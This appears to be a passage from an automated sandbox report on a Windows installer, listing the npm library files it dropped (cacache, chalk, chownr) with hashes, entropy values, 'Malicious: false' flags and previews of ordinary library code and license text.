MD5:	8B736F68CBF8DF8C159F752DFF04E264
SHA1:	C11F68D63488E208186E21037B97455D4C2B5489
SHA-256:	56745BDDDF064BE6DED0E82452C7327C3A960A82D5FB26B021AEF41FA01E2B94
SHA-512:	1CAC2602B4D0FCDF199F22E3420B335D9242EE4B1F446784D648AA3E48EB1C6E9481B15BD4BC6B8ECF39CD5869D2693DF363425642834FEE2D767E4DC84676A7
Malicious:	false
Preview:	'use strict'..const get = require('./get.js').const put = require('./put.js').const rm = require('./rm.js').const verify = require('./verify.js').const { clearMemoized } = require('./memoization.js').const tmp = require('./util/tmp.js').const index = require('./entry-index.js')..module.exports.index = {}.module.exports.index.compact = index.compact.module.exports.index.insert = index.insert..module.exports.ls = index.ls.module.exports.ls.stream = index.lsStream..module.exports.get = get.module.exports.get.byDigest = get.byDigest.module.exports.get.stream = get.stream.module.exports.get.stream.byDigest = get.stream.byDigest.module.exports.get.copy = get.copy.module.exports.get.copy.byDigest = get.copy.byDigest.module.exports.get.info = get.info.module.exports.get.hasContent = get.hasContent..module.exports.put = put.module.exports.put.stream = put.stream..module.exports.rm = rm.entry.module.exports.rm.all = rm.all.module.exports.rm.entry = module.exports.rm.module.exports.rm.content = r

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\memoization.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	5.0545516200553715
Encrypted:	false
SSDEEP:	24:1ToQ4HUaazvBj9y4qFgVXbJGBiT1BT1adBqJCBLIHQS0Gdohhl6UI01:1UPUaqBg9wrJGkJHIkJCRIHQS0Gihhld
MD5:	851702AC4F324133AE6FAD625CF6776B
SHA1:	3478077A38C3CD123BDF2DEE8C9A7EC1EEB9C432
SHA-256:	F53CC4C8F9E85C4F96019C89B2C84B27C8ABC0A5FC936E0E9A60736AAD3B73D0
SHA-512:	0FAB96498FF926F7605D095E22BEC4A4EAC6810246B240AC7232512A330E79D244D263B0122843ED7A259DEBCE7C80D4140F19375F8F5C80715AEACB78E72E48
Malicious:	false
Preview:	'use strict'..const { LRUCache } = require('lru-cache')..const MEMOIZED = new LRUCache({. max: 500,. maxSize: 50 * 1024 * 1024, // 50MB. ttl: 3 * 60 * 1000, // 3 minutes. sizeCalculation: (entry, key) => key.startsWith('key:') ? entry.data.length : entry.length,.})..module.exports.clearMemoized = clearMemoized..function clearMemoized () {. const old = {}. MEMOIZED.forEach((v, k) => {. old[k] = v. }). MEMOIZED.clear(). return old.}..module.exports.put = put..function put (cache, entry, data, opts) {. pickMem(opts).set(`key:${cache}:${entry.key}`, { entry, data }). putDigest(cache, entry.integrity, data, opts).}..module.exports.put.byDigest = putDigest..function putDigest (cache, integrity, data, opts) {. pickMem(opts).set(`digest:${cache}:${integrity}`, data).}..module.exports.get = get..function get (cache, key, opts) {. return pickMem(opts).get(`key:${cache}:${key}`).}..module.exports.get.byDigest = getDigest..function getDigest (cache, integrity, opts) {. return pick

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\put.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1975
Entropy (8bit):	4.537398460331755
Encrypted:	false
SSDEEP:	48:hrNQ62GkXVQ15nT/2wXJHr/lOAxdanflYsII4CyZvW:ha62zXVgdT3XBWflyW
MD5:	19D056F5CCC691F09346FF0166058E6D
SHA1:	070A4A3D6739C9808599C6F1DC860EE2AA7139B7
SHA-256:	B131954EFBCB17F785E93278C53F4B0491C53009698B937EF68BBC7342134872
SHA-512:	DE680E1A1370BC139697A55BD0987D798733DBED00EDB78808A453BC1C2BA581E1C924ECB3CBB426E98A90693020E60956194307F7210B4E2D2B08F55EF047F4
Malicious:	false
Preview:	'use strict'..const index = require('./entry-index').const memo = require('./memoization').const write = require('./content/write').const Flush = require('minipass-flush').const { PassThrough } = require('minipass-collect').const Pipeline = require('minipass-pipeline')..const putOpts = (opts) => ({. algorithms: ['sha512'],. ...opts,.})..module.exports = putData..async function putData (cache, key, data, opts = {}) {. const { memoize } = opts. opts = putOpts(opts). const res = await write(cache, data, opts). const entry = await index.insert(cache, key, res.integrity, { ...opts, size: res.size }). if (memoize) {. memo.put(cache, entry, data, opts). }.. return res.integrity.}..module.exports.stream = putStream..function putStream (cache, key, opts = {}) {. const { memoize } = opts. opts = putOpts(opts). let integrity. let size. let error.. let memoData. const pipeline = new Pipeline(). // first item in the pipeline is the memoizer, because we need. // that to end firs

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\rm.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	791
Entropy (8bit):	4.744588856734821
Encrypted:	false
SSDEEP:	12:oDQeVlsVHPBBoBXBBB2xjEzaFLBqcbebcEzKfWB+3xE81pKBhP3063zcb1E:kfMBEBRBB2xYsLBUbtJB+aScZ3pG1E
MD5:	308021F53C321C99E1A120E70F1AAE22
SHA1:	E8D9E66E76FEE498D27BAA38FFCFD3972F33BE96
SHA-256:	5155F5560ED63BEA74732C87D6A10732D5C6E5639785DCFDCDCF93A01943ABF6
SHA-512:	B0AB2FADFA782230C424B3E91DD0EB560A188E998D7888CA80CE41CEED8CF71BDAFE4C5039AA1A17A663D5502FC53188219C78452E0BE62C72E5E56FDCDDA766
Malicious:	false
Preview:	'use strict'..const { rm } = require('fs/promises').const glob = require('./util/glob.js').const index = require('./entry-index').const memo = require('./memoization').const path = require('path').const rmContent = require('./content/rm')..module.exports = entry.module.exports.entry = entry..function entry (cache, key, opts) {. memo.clearMemoized(). return index.delete(cache, key, opts).}..module.exports.content = content..function content (cache, integrity) {. memo.clearMemoized(). return rmContent(cache, integrity).}..module.exports.all = all..async function all (cache) {. memo.clearMemoized(). const paths = await glob(path.join(cache, '(content-\|index-*)'), { silent: true, nosort: true }). return Promise.all(paths.map((p) => rm(p, { recursive: true, force: true }))).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\util\glob.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.6858033729085635
Encrypted:	false
SSDEEP:	3:agWAvGKLWDJciFbUqwJDyp9APtyEKHMnEkhuRmOVJMRNVAYL1CSMK+yBblkK7WQ5:QKGMiFbGFcWz9EXRkNVD8UB0QTJ9j1
MD5:	A93D25B2624BE6221C62E3B3B437666D
SHA1:	A4CE33B8A230DAD740D44B6A4F74B4522E59FA4D
SHA-256:	A9FD56A76F0B4C39FFD94785128E79DDBC337210B9FEB4B09530616948ADEB69
SHA-512:	58BAF4C9A29291AD3BC559F421E393A450E4332B13BD2F664A1FCE45769493093C8327D97FC821D15790610B40015C0CA41596141216A2C121BE42D1AB89B3C8
Malicious:	false
Preview:	'use strict'..const { glob } = require('glob').const path = require('path')..const globify = (pattern) => pattern.split(path.win32.sep).join(path.posix.sep).module.exports = (path, options) => glob(globify(path), options).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\util\hash-to-segments.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	143
Entropy (8bit):	4.666947026489237
Encrypted:	false
SSDEEP:	3:agWAvIYBb0xCI4GqQQCI5N/eFj+ERZHxbCn:QKIYBgIILqWI5N/kR9x+
MD5:	4FDE78CC8125248B8ABF8A9831D497C1
SHA1:	A6F608135B099314B8CB4BB36C206D2F93BF2585
SHA-256:	ED10C878CB3C2B8570A32954B52DA3C49539549F64E36B3CE3AB38D7E524BF19
SHA-512:	11187C46AB16C06F8AF585C0A5E55E4947DA81C3967FB8D127E83C58079D4D0D4343023374ECADDEF4F53123E232D9C2F396BD0DC8832A01E779B4CAB4D7FC6E
Malicious:	false
Preview:	'use strict'..module.exports = hashToSegments..function hashToSegments (hash) {. return [hash.slice(0, 2), hash.slice(2, 4), hash.slice(4)].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\util\tmp.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	696
Entropy (8bit):	4.754780975968504
Encrypted:	false
SSDEEP:	12:oivhMSqBYqptWGoc6+5/1WmN+azPurx3/XTB0kqa5DffKrf0KM:2SqBT9/1WmN+azPGx3/XTB0kqQu6
MD5:	1D8E64EA848E005E1D0A771F1465A577
SHA1:	CF9D2FE73FD6195F7B53C6B13CDA15F40802F8F8
SHA-256:	9BC9BAD862208B2EE66AEAE5222D8B1D8D1D288F335FDF3FF998AD200F71CE64
SHA-512:	2A0A1D57ED240C9A0E95F1B87306EB66583860C2C88148DB6EF5979F6F6F06E4BC6EEC9FE9D6F2AD21506C4234A88404FCD155DABD82D6B507D0BA53502AD5BE
Malicious:	false
Preview:	'use strict'..const { withTempDir } = require('@npmcli/fs').const fs = require('fs/promises').const path = require('path')..module.exports.mkdir = mktmpdir..async function mktmpdir (cache, opts = {}) {. const { tmpPrefix } = opts. const tmpDir = path.join(cache, 'tmp'). await fs.mkdir(tmpDir, { recursive: true, owner: 'inherit' }). // do not use path.join(), it drops the trailing / if tmpPrefix is unset. const target = `${tmpDir}${path.sep}${tmpPrefix \|\| ''}`. return fs.mkdtemp(target, { owner: 'inherit' }).}..module.exports.withTmp = withTmp..function withTmp (cache, opts, cb) {. if (!cb) {. cb = opts. opts = {}. }. return withTempDir(path.join(cache, 'tmp'), cb, opts).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\lib\verify.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6710
Entropy (8bit):	4.697272215077479
Encrypted:	false
SSDEEP:	192:IOhRO+GpVq725ieFJermGezZkk483OmiDeMKjrahT:N77WJBlqT
MD5:	C3067368E574ACA2D0DE5BF837B2AEF3
SHA1:	BE0B21A75A7544E5FB7915E059C358236C329841
SHA-256:	898B7BF2CC4E694C80EEDD1EDB116C2BB3A6AAD0085488D1547E5755AB53338D
SHA-512:	7313672DFFDFD2EF948F62A57339669EF96DC3078DDA77B84A7BFB50A569E8EBF3D00224ACE32378D19249541380EEE121DDD808AAF13ACDEBF36110C5FC212D
Malicious:	false
Preview:	'use strict'..const {. mkdir,. readFile,. rm,. stat,. truncate,. writeFile,.} = require('fs/promises').const pMap = require('p-map').const contentPath = require('./content/path').const fsm = require('fs-minipass').const glob = require('./util/glob.js').const index = require('./entry-index').const path = require('path').const ssri = require('ssri')..const hasOwnProperty = (obj, key) =>. Object.prototype.hasOwnProperty.call(obj, key)..const verifyOpts = (opts) => ({. concurrency: 20,. log: { silly () {} },. ...opts,.})..module.exports = verify..async function verify (cache, opts) {. opts = verifyOpts(opts). opts.log.silly('verify', 'verifying cache at', cache).. const steps = [. markStartTime,. fixPerms,. garbageCollect,. rebuildIndex,. cleanTmp,. writeVerifile,. markEndTime,. ].. const stats = {}. for (const step of steps) {. const label = step.name. const start = new Date(). const s = await step(cache, opts). if (s) {. Object.keys(s

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\cacache\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	4.640663022342863
Encrypted:	false
SSDEEP:	48:lZpJej0P1AFxxeY2eWywaBMa3JcLBI6s8sPddef7TFhee:ToeYJWydBl3JYBIH8Szevee
MD5:	61A319CA8396F0C483D471EFD40ABDED
SHA1:	545D09B71949AC09F7309D70FAF842B9443995CF
SHA-256:	1D2E2E330A75B9083509279FC7A984E7E2B234A85176A01D58C3C17D73C8F2C9
SHA-512:	DD4723B3C7F2ACA72939B7002DAD5E6639E78D0011CE41898038C7EB2715732FF3B2F19A763B3D63ED1F0045D58DE44F6E431DF2A378E68F19C0B0AD025B544C
Malicious:	false
Preview:	{. "name": "cacache",. "version": "18.0.0",. "cache-version": {. "content": "2",. "index": "5". },. "description": "Fast, fault-tolerant, cross-platform, disk-based, data-agnostic, content-addressable cache.",. "main": "lib/index.js",. "files": [. "bin/",. "lib/". ],. "scripts": {. "test": "tap",. "snap": "tap",. "coverage": "tap",. "test-docker": "docker run -it --rm --name pacotest -v \"$PWD\":/tmp -w /tmp node:latest npm test",. "lint": "eslint \"*/.js\"",. "npmclilint": "npmcli-lint",. "lintfix": "npm run lint -- --fix",. "postsnap": "npm run lintfix --",. "postlint": "template-oss-check",. "posttest": "npm run lint",. "template-oss-apply": "template-oss-apply --force". },. "repository": {. "type": "git",. "url": "https://github.com/npm/cacache.git". },. "keywords": [. "cache",. "caching",. "content-addressable",. "sri",. "sri hash",. "subresource integrity",. "cache",. "storage",. "store",

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1640
Entropy (8bit):	4.912284939071875
Encrypted:	false
SSDEEP:	48:m0RERvuP4Yina+11Tz1uQSEkirtvjVDxnRN+tk859:r+na+1juQSM9px659
MD5:	919BEABDE328DA65EF12852F35F9B308
SHA1:	5D2D4BD1F2D729B28B3BD29E208D02FB7449947B
SHA-256:	FF033C93B0D4256138F9E4C59283D9F5FFBB0630BF2E87A1B15033E51CDDC582
SHA-512:	95D02B949729576B4709E5F7EF929B4575E9FB6D802B67C5CE0C89480CD14A3BE7A12B6E98ACA57C2C54FBB6B30801B71D6D061373FBE65D67654292F7B1979F
Malicious:	false
Preview:	{.."name": "chalk",.."version": "5.3.0",.."description": "Terminal string styling done right",.."license": "MIT",.."repository": "chalk/chalk",.."funding": "https://github.com/chalk/chalk?sponsor=1",.."type": "module",.."main": "./source/index.js",.."exports": "./source/index.js",.."imports": {..."#ansi-styles": "./source/vendor/ansi-styles/index.js",..."#supports-color": {...."node": "./source/vendor/supports-color/index.js",...."default": "./source/vendor/supports-color/browser.js"...}..},.."types": "./source/index.d.ts",.."engines": {..."node": "^12.17.0 \|\| ^14.13 \|\| >=16.0.0"..},.."scripts": {..."test": "xo && c8 ava && tsd",..."bench": "matcha benchmark.js"..},.."files": [..."source",..."!source/index.test-d.ts"..],.."keywords": [..."color",..."colour",..."colors",..."terminal",..."console",..."cli",..."string",..."ansi",..."style",..."styles",..."tty",..."formatting",..."rgb",..."256",..."shell",..."xterm",..."log",..."logging",..."command-line",..."text"..],.."devDependencies":

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\source\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5902
Entropy (8bit):	5.169325852917651
Encrypted:	false
SSDEEP:	96:gR/+HAXgAPqpmB1i5cl6J5jKfaHy1RketJkNGuG6EkaWnyUpTyWnKAIAMpAhN/Fu:sPV6GM/Jm/Xk4uG6EkaWxpTV/QHtjQCD
MD5:	EE09F19624A0936BAB9B4EBC183F7E44
SHA1:	D4FA6A254209E7A7A134482E16813600BD8F857A
SHA-256:	64B22B1C442E6D460069807B521BF0A84E112C00C2B4163BC59DEAB20A9292DB
SHA-512:	2AEAA41E5FE1FFC5249816CBE56B78DF3F6D4B8830B1AB01DB740B3F58CD173FF3F2B6724F7F89A1B821EDE69AF279D6DCF722320476D745A3DE88B38978C5C7
Malicious:	false
Preview:	import ansiStyles from '#ansi-styles';.import supportsColor from '#supports-color';.import { // eslint-disable-line import/order..stringReplaceAll,..stringEncaseCRLFWithFirstIndex,.} from './utilities.js';..const {stdout: stdoutColor, stderr: stderrColor} = supportsColor;..const GENERATOR = Symbol('GENERATOR');.const STYLER = Symbol('STYLER');.const IS_EMPTY = Symbol('IS_EMPTY');..// `supportsColor.level` . `ansiStyles.color[name]` mapping.const levelMapping = [..'ansi',..'ansi',..'ansi256',..'ansi16m',.];..const styles = Object.create(null);..const applyOptions = (object, options = {}) => {..if (options.level && !(Number.isInteger(options.level) && options.level >= 0 && options.level <= 3)) {...throw new Error('The `level` option should be an integer from 0 to 3');..}...// Detect level if not set manually..const colorLevel = stdoutColor ? stdoutColor.level : 0;..object.level = options.level === undefined ? colorLevel : options.level;.};..export class Chalk {..constructor(options) {.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\source\utilities.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	997
Entropy (8bit):	4.912961581516703
Encrypted:	false
SSDEEP:	24:o6w1mU0zJ1D65fcSYowQoo6zA1442UO72UagQoo6J:obMUzw1AH2l7/agT
MD5:	255E1ABA69EFB0EA87A80187014DDB62
SHA1:	EA09F50E3845CCF559C9254B0227605194ABA4C2
SHA-256:	698CE3CB21B00B570631742D3A9E168DE31DF74B3A88220C4BCF18AC30FD00CD
SHA-512:	11CBE251AB93878874E07E77993207EA584EC90891BDD4C9E312873257D11EE35923AF9C39A4D1B55458EE3C423E4BC1FAD948921158C98A5BF88A957B6F2D5A
Malicious:	false
Preview:	// TODO: When targeting Node.js 16, use `String.prototype.replaceAll`..export function stringReplaceAll(string, substring, replacer) {..let index = string.indexOf(substring);..if (index === -1) {...return string;..}...const substringLength = substring.length;..let endIndex = 0;..let returnValue = '';..do {...returnValue += string.slice(endIndex, index) + substring + replacer;...endIndex = index + substringLength;...index = string.indexOf(substring, endIndex);..} while (index !== -1);...returnValue += string.slice(endIndex);..return returnValue;.}..export function stringEncaseCRLFWithFirstIndex(string, prefix, postfix, index) {..let endIndex = 0;..let returnValue = '';..do {...const gotCR = string[index - 1] === '\r';...returnValue += string.slice(endIndex, (gotCR ? index - 1 : index)) + prefix + (gotCR ? '\r\n' : '\n') + postfix;...endIndex = index + 1;...index = string.indexOf('\n', endIndex);..} while (index !== -1);...returnValue += string.slice(endIndex);..return returnValue;.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\source\vendor\ansi-styles\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5256
Entropy (8bit):	5.3798465325073375
Encrypted:	false
SSDEEP:	96:8NVpjqGqrkYg780URnnFA4yj+zz/1np3VizZwdrtEwKaiXwTtTfEY+UjEZ3C6cf/:8NrqGqrvZxn1VizZwa6bEXUjEZQfprz9
MD5:	28B0A5FEBE3644A01D488578292DE4F0
SHA1:	7C4F8BB0AFB95A83378DD24F08CC07733D94027E
SHA-256:	92EFDC3E5203D02D1710FF60DEA3965066F97A77C0FEAAA919B2693C989B7EC1
SHA-512:	097229B03059E172F96C45F87D07562BD6E1D6A21547A64DD45DB53C26CC41AAC67E6FF38EE0489FD6DAEE0CED7998C19A712738C84D8264BEF7678FBDB5B306
Malicious:	false
Preview:	const ANSI_BACKGROUND_OFFSET = 10;..const wrapAnsi16 = (offset = 0) => code => `\u001B[${code + offset}m`;..const wrapAnsi256 = (offset = 0) => code => `\u001B[${38 + offset};5;${code}m`;..const wrapAnsi16m = (offset = 0) => (red, green, blue) => `\u001B[${38 + offset};2;${red};${green};${blue}m`;..const styles = {..modifier: {...reset: [0, 0],...// 21 isn't widely supported and 22 does the same thing...bold: [1, 22],...dim: [2, 22],...italic: [3, 23],...underline: [4, 24],...overline: [53, 55],...inverse: [7, 27],...hidden: [8, 28],...strikethrough: [9, 29],..},..color: {...black: [30, 39],...red: [31, 39],...green: [32, 39],...yellow: [33, 39],...blue: [34, 39],...magenta: [35, 39],...cyan: [36, 39],...white: [37, 39],....// Bright color...blackBright: [90, 39],...gray: [90, 39], // Alias of `blackBright`...grey: [90, 39], // Alias of `blackBright`...redBright: [91, 39],...greenBright: [92, 39],...yellowBright: [93, 39],...blueBright: [94, 39],...magentaBright: [95, 39],...cyanBright

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\source\vendor\supports-color\browser.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	532
Entropy (8bit):	5.067052926271862
Encrypted:	false
SSDEEP:	12:Um95lv1CUSsSfSkDMYuSCpGUS5WwSWXbf/v1RgQc1:+UTlVtpGU6Ww1/1RJ6
MD5:	F2D4D55AD21C704DA4EEF3DA60049F7B
SHA1:	0936BAD557240C5BCA7A6593ED8A19C5B91B7031
SHA-256:	42ED5CBAA24F7BAF29C28CAE4DEBDFBCA0C33B9282C079D6851130143605B1FC
SHA-512:	CBC7F72127EEE8BF2CEAE58FC9683208EEF7455B45153A52964A4988AE33925B68F071C08F811AA533353FD2A1B486FD7AE523ABB1E44F9FB12C11E4012CE37C
Malicious:	false
Preview:	/* eslint-env browser */..const level = (() => {..if (navigator.userAgentData) {...const brand = navigator.userAgentData.brands.find(({brand}) => brand === 'Chromium');...if (brand && brand.version > 93) {....return 3;...}..}...if (/\b(Chrome\|Chromium)\//.test(navigator.userAgent)) {...return 1;..}...return 0;.})();..const colorSupport = level !== 0 && {..level,..hasBasic: true,..has256: level >= 2,..has16m: level >= 3,.};..const supportsColor = {..stdout: colorSupport,..stderr: colorSupport,.};..export default supportsColor;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chalk\source\vendor\supports-color\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	3855
Entropy (8bit):	5.401246655925297
Encrypted:	false
SSDEEP:	96:uPc4M9ZhEwLxV0FCkMO410yN2T+WOUxhyrGHELVn914Ge84JIT6:v91AGpNQtyxLD14k+
MD5:	75CC7F0B87AD9E857BF71B18ADFCC046
SHA1:	84EF36E84894EFAA7ABA9C1643F00608E5F1D8D0
SHA-256:	13B5FC8A0B139D257260D1E625726744609C24A3B58535AFBB602389997E60D6
SHA-512:	C6ABDB670ADAC05D631526B91554C474A88B8143C9EA8BA25971E0D4FD69DE9201DD2E0230A7E8655BFF9EF497AE371D9F824DCBB9C1E83202C893001EF7542C
Malicious:	false
Preview:	import process from 'node:process';.import os from 'node:os';.import tty from 'node:tty';..// From: https://github.com/sindresorhus/has-flag/blob/main/index.js./// function hasFlag(flag, argv = globalThis.Deno?.args ?? process.argv) {.function hasFlag(flag, argv = globalThis.Deno ? globalThis.Deno.args : process.argv) {..const prefix = flag.startsWith('-') ? '' : (flag.length === 1 ? '-' : '--');..const position = argv.indexOf(prefix + flag);..const terminatorPosition = argv.indexOf('--');..return position !== -1 && (terminatorPosition === -1 \|\| position < terminatorPosition);.}..const {env} = process;..let flagForceColor;.if (..hasFlag('no-color')..\|\| hasFlag('no-colors')..\|\| hasFlag('color=false')..\|\| hasFlag('color=never').) {..flagForceColor = 0;.} else if (..hasFlag('color')..\|\| hasFlag('colors')..\|\| hasFlag('color=true')..\|\| hasFlag('color=always').) {..flagForceColor = 1;.}..function envForceColor() {..if ('FORCE_COLOR' in env) {...if (env.FORCE_COLOR === 'true') {....return 1;.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chownr\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chownr\chownr.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4275
Entropy (8bit):	4.796193844022171
Encrypted:	false
SSDEEP:	96:dNgzUvTvNnvPAROj/jgAJ7NihDs9l/niXw+dmhYCn9:0ALZ3Xpyal/niV8YCn9
MD5:	227F54D2F419316FCF6B9FD1E1BF34AA
SHA1:	0BEDFD417B196606FF4B7D4C7AE6C9BB318F23E7
SHA-256:	529B285703D29B8AB31EAD64BD1F64146BAC12147CC09CEB4B25F0DB87A12C96
SHA-512:	36DD24F1EB26F796EF841459850C4C8BA28296ACB3570FE8643AE270384CCD721635ED728E20573CBFCB43EE49CEF50CDEDE2699D4C7714798847BE43A2D3BEB
Malicious:	false
Preview:	'use strict'.const fs = require('fs').const path = require('path')../* istanbul ignore next /.const LCHOWN = fs.lchown ? 'lchown' : 'chown'./ istanbul ignore next /.const LCHOWNSYNC = fs.lchownSync ? 'lchownSync' : 'chownSync'../ istanbul ignore next /.const needEISDIRHandled = fs.lchown &&. !process.version.match(/v1[1-9]+\./) &&. !process.version.match(/v10\.[6-9]/)..const lchownSync = (path, uid, gid) => {. try {. return fs[LCHOWNSYNC](path, uid, gid). } catch (er) {. if (er.code !== 'ENOENT'). throw er. }.}../ istanbul ignore next /.const chownSync = (path, uid, gid) => {. try {. return fs.chownSync(path, uid, gid). } catch (er) {. if (er.code !== 'ENOENT'). throw er. }.}../ istanbul ignore next */.const handleEISDIR =. needEISDIRHandled ? (path, uid, gid, cb) => er => {. // Node prior to v10 had a very questionable implementation of. // fs.lchown, which would always try to call fs.open on a directory. // Fall back to fs.chown in thos

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\chownr\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	649
Entropy (8bit):	4.680813795439875
Encrypted:	false
SSDEEP:	12:CdrLh9JGn1QbmF2NPotHqSyQhu9ApfOCWjVVP1U2M1bIb4FmlZgFoPu6C:C9fJGn1D4MyQhoV7P1w10b4FPkuD
MD5:	8F7EEB8B80A6EBB304DF487B88CBD703
SHA1:	A23947ADE20A2757D5ABF7F9FEC197C2674C0A20
SHA-256:	96BA7FC1DCFAD50DE6C406FB3FCFE57850EBEA4D8ECEDBC0B45B9C59FC629D69
SHA-512:	7F57CEE36355F587DA7C2C219CF5CC2C79C8E4B8653F95A561F664A94240667344331967E44FA306EF58E05023CED023889FC1FAC65795207C8D6553A611A185
Malicious:	false
